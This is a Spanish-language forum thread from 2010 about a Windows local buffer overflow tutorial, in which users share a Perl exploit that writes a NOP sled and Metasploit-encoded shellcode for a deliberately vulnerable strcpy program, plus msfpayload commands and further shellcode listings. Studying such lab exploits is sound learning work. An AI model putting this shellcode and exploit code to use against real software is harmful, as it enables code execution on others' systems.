Autor
|
Tema: [Manual] Buffer Overflow en Windows (Leído 44,023 veces)
|
PHAMTOM
Desconectado
Mensajes: 83
0x8B,0xEC,0x33,0xFF
|
... Muy bueno ikary, buenisimo el manual,ahi termine de aprender Local BoF , para la gente que no se lleva bien con C++ , o C , aca le dejo un exploit para este programa vulnerable, que ejecuta el payload CMD , programado el perl .. Funciona para buffer 700 , ya que cambie el 300 por 700 en el programa vulnerable C++ { char buff[ 700] = "Datos"; strcpy(buff,cptr); printf("%s\n\n",buff); return 0; } EXPLOIT : #1---------------------------------------------------------------------------- my $nopp="\x90" x 263; my $shellcode = "\x89\xe0\xd9\xc0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49" . "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" . "\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" . "\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" . "\x75\x4a\x49\x49\x6c\x4d\x38\x4d\x59\x45\x50\x47\x70\x43" . "\x30\x45\x30\x4f\x79\x4b\x55\x46\x51\x49\x42\x50\x64\x4c" . "\x4b\x50\x52\x50\x30\x4e\x6b\x51\x42\x44\x4c\x4c\x4b\x50" . "\x52\x46\x74\x4e\x6b\x42\x52\x45\x78\x44\x4f\x4c\x77\x50" . "\x4a\x46\x46\x50\x31\x49\x6f\x44\x71\x4f\x30\x4e\x4c\x47" . "\x4c\x43\x51\x51\x6c\x44\x42\x46\x4c\x51\x30\x4f\x31\x48" . "\x4f\x44\x4d\x47\x71\x4b\x77\x49\x72\x4a\x50\x50\x52\x51" . "\x47\x4c\x4b\x51\x42\x46\x70\x4e\x6b\x42\x62\x47\x4c\x47" . "\x71\x48\x50\x4c\x4b\x47\x30\x42\x58\x4d\x55\x4f\x30\x44" . "\x34\x51\x5a\x45\x51\x48\x50\x42\x70\x4e\x6b\x43\x78\x45" . "\x48\x4c\x4b\x50\x58\x47\x50\x47\x71\x4e\x33\x4a\x43\x47" . "\x4c\x47\x39\x4e\x6b\x45\x64\x4c\x4b\x43\x31\x48\x56\x46" . "\x51\x49\x6f\x44\x71\x4b\x70\x4c\x6c\x49\x51\x48\x4f\x46" . "\x6d\x47\x71\x48\x47\x46\x58\x4d\x30\x42\x55\x48\x74\x43" . "\x33\x51\x6d\x48\x78\x47\x4b\x43\x4d\x51\x34\x50\x75\x4d" . "\x32\x42\x78\x4c\x4b\x42\x78\x45\x74\x45\x51\x4a\x73\x51" . "\x76\x4e\x6b\x44\x4c\x42\x6b\x4e\x6b\x51\x48\x45\x4c\x46" . "\x61\x4b\x63\x4c\x4b\x45\x54\x4e\x6b\x46\x61\x4a\x70\x4b" . "\x39\x47\x34\x45\x74\x45\x74\x51\x4b\x51\x4b\x50\x61\x46" . "\x39\x51\x4a\x42\x71\x4b\x4f\x4d\x30\x42\x78\x51\x4f\x42" . "\x7a\x4e\x6b\x46\x72\x48\x6b\x4f\x76\x43\x6d\x43\x5a\x46" . "\x61\x4c\x4d\x4d\x55\x4c\x79\x43\x30\x47\x70\x43\x30\x50" . "\x50\x45\x38\x45\x61\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x4b" . "\x65\x4f\x4b\x49\x70\x47\x6d\x47\x5a\x45\x5a\x51\x78\x4f" . "\x56\x4f\x65\x4f\x4d\x4f\x6d\x49\x6f\x4e\x35\x45\x6c\x47" . "\x76\x51\x6c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x44\x35\x43" . "\x35\x4f\x4b\x43\x77\x46\x73\x50\x72\x42\x4f\x50\x6a\x47" . "\x70\x51\x43\x49\x6f\x4b\x65\x45\x33\x42\x4d\x42\x44\x45" . "\x50\x44\x4a\x41\x41";
#1--------------------------------------------------------------------------- my $exploit=$nopp.$shellcode; my $file = "archivo.txt"; open( $FILE, ">$file" ); print $FILE $exploit; close( $FILE );
print "Archivo.txt generado con exito,prosiga habriendo la aplicacion vulnerable.-\n" PD : NO ANDA LA WEB DE PAYLOADS DE METASPLOIT :'(, LA TUBE QUE GENERAR DESDE EL PROGRAMA MSF.PHAMTOM
|
|
« Última modificación: 16 Febrero 2010, 06:17 am por H-PHAMTOM »
|
En línea
|
Miran a cualquier ventana, mientras su pánico emana y nubla su visión mi calma es pura precisión cargo munición y miro tranquilo ya ni respiro desde al ático os vigilo sigo al filo os tengo a tiro!
La kitchner quiere tanto a los pobres,que cada vez,tiene más
|
|
|
AlbertoBSD
Programador y
Moderador Global
Desconectado
Mensajes: 3.705
🏴 Libertad!!!!!
|
Hola que tal H-PHAMTOM
Una preguntilla, por que cambiar el buffer de 300 a 700?
Saludos
|
|
|
En línea
|
|
|
|
PHAMTOM
Desconectado
Mensajes: 83
0x8B,0xEC,0x33,0xFF
|
Hola que tal H-PHAMTOM
Una preguntilla, por que cambiar el buffer de 300 a 700?
Saludos
Porque estuve viendo el manual y utilize el algoritmo de restar el numero del buffer desbordado, al size del shellcode... shellcode = 453 size Buffer = 716 Escribiendo eip. 716-453 = 263.. Saludos..
|
|
« Última modificación: 16 Febrero 2010, 06:27 am por H-PHAMTOM »
|
En línea
|
Miran a cualquier ventana, mientras su pánico emana y nubla su visión mi calma es pura precisión cargo munición y miro tranquilo ya ni respiro desde al ático os vigilo sigo al filo os tengo a tiro!
La kitchner quiere tanto a los pobres,que cada vez,tiene más
|
|
|
AlbertoBSD
Programador y
Moderador Global
Desconectado
Mensajes: 3.705
🏴 Libertad!!!!!
|
a ok, era eso entonces, aunque si para el calc.exe se ocupo 164 bytes por que para el cmd.exe se necesitan 453 xD, segun recuerdo para el cmd.exe se necesita un mínimo de 29 bytes o algo asi recuerdo segun el texto de rojodos que se cita en el mismo documento de ikary.
Eso de general shellcodes mediante herramientas, esta bien cuando tenemos prisa, sin embargo en etapas de aprendizaje es bueno saber de donde vienen.
Seria interesante usar esa misma shellcode que muestras sin nececidad de cambiar el tamaño del buffer del programa vulnerable
Saludos
|
|
|
En línea
|
|
|
|
PHAMTOM
Desconectado
Mensajes: 83
0x8B,0xEC,0x33,0xFF
|
Si voy a probar,el temá es que en la pagina de metasploit,en la parte de payloads,creo que se encuentran mejores payloads,pero como esta offline en este momento la pagina , tube que inprovisar de donde sacar una ,por lo que acudi a metasploit framework 3 , con el comando : ./msfpayload windows/exec CMD=cmd Raw| ./msfencode -e x86/alpha_mixed -t perl y para la calc : ./msfpayload windows/exec CMD=calc Raw | ./msfencode -e x86/alpha_mixed -t perl Mañana nos escribimos,me voy a ZzZ... Saludos,PHAMTOM.-
|
|
|
En línea
|
Miran a cualquier ventana, mientras su pánico emana y nubla su visión mi calma es pura precisión cargo munición y miro tranquilo ya ni respiro desde al ático os vigilo sigo al filo os tengo a tiro!
La kitchner quiere tanto a los pobres,que cada vez,tiene más
|
|
|
AlbertoBSD
Programador y
Moderador Global
Desconectado
Mensajes: 3.705
🏴 Libertad!!!!!
|
He ikary, pues no se cual era el problema con los parámetros y el Olly, pero ya ahorita te digo que solo ocupas saber con cuantos bytes sobrescribes EIP y con eso solo ocuparías las direcciones de system y de JMP esp
Con eso he logrado ejecutar el cmd.exe. Claro que tube problemas, lo explico en el post anterior.
|
|
|
En línea
|
|
|
|
ikary
Desconectado
Mensajes: 127
|
Gracias Anon ^^ Ya he estado mirando el otro post, voy a probar lo que dices a ver, por que la verdad es que me quedé con las ganas de sacarlo por parametros. PHAMTOM: creo que se encuentran mejores payloads Realmente es todo lo contrario, si no, fijate en tu shellcode: "\x89\xe0\xd9\xc0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49" . "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" . "\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" . "\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" . "\x75\x4a\x49\x49\x6c\x4d\x38\x4d\x59\x45\x50\x47\x70\x43" . "\x30\x45\x30\x4f\x79\x4b\x55\x46\x51\x49\x42\x50\x64\x4c" . "\x4b\x50\x52\x50\x30\x4e\x6b\x51\x42\x44\x4c\x4c\x4b\x50" . "\x52\x46\x74\x4e\x6b\x42\x52\x45\x78\x44\x4f\x4c\x77\x50" . "\x4a\x46\x46\x50\x31\x49\x6f\x44\x71\x4f\x30\x4e\x4c\x47" . "\x4c\x43\x51\x51\x6c\x44\x42\x46\x4c\x51\x30\x4f\x31\x48" . "\x4f\x44\x4d\x47\x71\x4b\x77\x49\x72\x4a\x50\x50\x52\x51" . "\x47\x4c\x4b\x51\x42\x46\x70\x4e\x6b\x42\x62\x47\x4c\x47" . "\x71\x48\x50\x4c\x4b\x47\x30\x42\x58\x4d\x55\x4f\x30\x44" . "\x34\x51\x5a\x45\x51\x48\x50\x42\x70\x4e\x6b\x43\x78\x45" . "\x48\x4c\x4b\x50\x58\x47\x50\x47\x71\x4e\x33\x4a\x43\x47" . "\x4c\x47\x39\x4e\x6b\x45\x64\x4c\x4b\x43\x31\x48\x56\x46" . "\x51\x49\x6f\x44\x71\x4b\x70\x4c\x6c\x49\x51\x48\x4f\x46" . "\x6d\x47\x71\x48\x47\x46\x58\x4d\x30\x42\x55\x48\x74\x43" . "\x33\x51\x6d\x48\x78\x47\x4b\x43\x4d\x51\x34\x50\x75\x4d" . "\x32\x42\x78\x4c\x4b\x42\x78\x45\x74\x45\x51\x4a\x73\x51" . "\x76\x4e\x6b\x44\x4c\x42\x6b\x4e\x6b\x51\x48\x45\x4c\x46" . "\x61\x4b\x63\x4c\x4b\x45\x54\x4e\x6b\x46\x61\x4a\x70\x4b" . "\x39\x47\x34\x45\x74\x45\x74\x51\x4b\x51\x4b\x50\x61\x46" . "\x39\x51\x4a\x42\x71\x4b\x4f\x4d\x30\x42\x78\x51\x4f\x42" . "\x7a\x4e\x6b\x46\x72\x48\x6b\x4f\x76\x43\x6d\x43\x5a\x46" . "\x61\x4c\x4d\x4d\x55\x4c\x79\x43\x30\x47\x70\x43\x30\x50" . "\x50\x45\x38\x45\x61\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x4b" . "\x65\x4f\x4b\x49\x70\x47\x6d\x47\x5a\x45\x5a\x51\x78\x4f" . "\x56\x4f\x65\x4f\x4d\x4f\x6d\x49\x6f\x4e\x35\x45\x6c\x47" . "\x76\x51\x6c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x44\x35\x43" . "\x35\x4f\x4b\x43\x77\x46\x73\x50\x72\x42\x4f\x50\x6a\x47" . "\x70\x51\x43\x49\x6f\x4b\x65\x45\x33\x42\x4d\x42\x44\x45" . "\x50\x44\x4a\x41\x41"; Y en la de Anon: "\x55\x8B\xEC\x33\xC9\x51\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\x88\x4D\xFB\x8D\x45\xF8\x50\xBB\xc7\x93\xbf\x77\xFF\xD3"
Hay demasiada diferencia para dos shellcodes que hacen lo mismo ¿no crees? ^^ Para mi manual utilicé las shellcodes de metasploit para hacerlo mas rapido, ya que el manual se basaba mas bien en el concepto de BoF que en la creacion de shellcodes (el manual de Rojodos ya lo explicaba con bastante claridad) Te recomiendo, si no lo has echo aun, que leas el manual de Rojodos y aprendas a crear tus propias shellcodes, ya que pocas veces vas a encontrar 700 bytes en un programa explotable real. Muy bueno ikary, buenisimo el manual,ahi termine de aprender Local BoF Gracias PHAMTOM, me alegra que te haya servido ^^ Un saludo
|
|
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 469
LLVM
|
Buenas gente, Solo decir que phantom la paso por un encoder, por eso le quedo ese chorizo . ./msfpayload windows/exec CMD=cmd Raw| ./msfencode -e x86/alpha_mixed -t perl
Phantom, dejala asi nomas si no tenes ninguna restriccion de entrada del programa vulnerable. El unico caracter que te molesta es el null. Muy buen manual Ikary .
|
|
|
En línea
|
|
|
|
PHAMTOM
Desconectado
Mensajes: 83
0x8B,0xEC,0x33,0xFF
|
Buenas gente, Solo decir que phantom la paso por un encoder, por eso le quedo ese chorizo . ./msfpayload windows/exec CMD=cmd Raw| ./msfencode -e x86/alpha_mixed -t perl
Phantom, dejala asi nomas si no tenes ninguna restriccion de entrada del programa vulnerable. El unico caracter que te molesta es el null. Muy buen manual Ikary . Es qué por eso mismo le hago un " encode " , por los caracteres null's. PHAMTOM
|
|
|
En línea
|
Miran a cualquier ventana, mientras su pánico emana y nubla su visión mi calma es pura precisión cargo munición y miro tranquilo ya ni respiro desde al ático os vigilo sigo al filo os tengo a tiro!
La kitchner quiere tanto a los pobres,que cada vez,tiene más
|
|
|
AlbertoBSD
Programador y
Moderador Global
Desconectado
Mensajes: 3.705
🏴 Libertad!!!!!
|
ese alpha_mixed solo te devuelve una Shellcode Alfanumerica, por eso te sale asi. Por lo que veo es bastante facil generar shellcodes xDD Anon@localhost % msfpayload windows/exec CMD=cmd Raw | msfencode -a x86 -b '\x00' -t c [*] x86/shikata_ga_nai succeeded, final size 144 unsigned char buf[] = "\x33\xc9\xb1\x1e\xba\xb1\xfc\x90\xfb\xdd\xc1\xd9\x74\x24\xf4" "\x5e\x31\x56\x0f\x83\xc6\x04\x03\x56\xba\x1e\x65\x07\x54\x9a" "\x86\xf8\xa4\xa8\xc2\xc4\x2f\xd2\xc9\x4c\x2e\xc4\x59\xe3\x28" "\x91\x01\xdc\x49\x4e\xf4\x97\x7d\x1b\x06\x46\x4c\xdb\x90\x3a" "\x2a\x1b\xd6\x45\xf3\x56\x1a\x4b\x31\x8d\xd1\x70\xe1\x76\x1e" "\xf2\xec\xfc\x41\xd8\xef\xe9\x18\xab\xe3\xa6\x6f\xf4\xe7\x39" "\x9b\x80\x0b\xb1\x5a\x7c\xba\x99\x78\x86\x7f\x7e\xb0\x70\x1f" "\xd7\xd6\xf7\x99\xe7\x9d\x48\x29\x83\xd2\x54\x9c\x18\x7a\x6d" "\x57\xe6\xf8\xad\x0d\x47\x97\xdd\x5b\x63\x38\x76\xc3\x92\x4c" "\x88\xa4\x95\xb6\xf6\x27\x0e\x39\xf3";
Esa también sirve son 144 bytes Solo se usa el -e x86/alpha_mixed cuando hay un filtro alfanumérico Saludos
|
|
« Última modificación: 17 Febrero 2010, 03:37 am por Anon »
|
En línea
|
|
|
|
|
|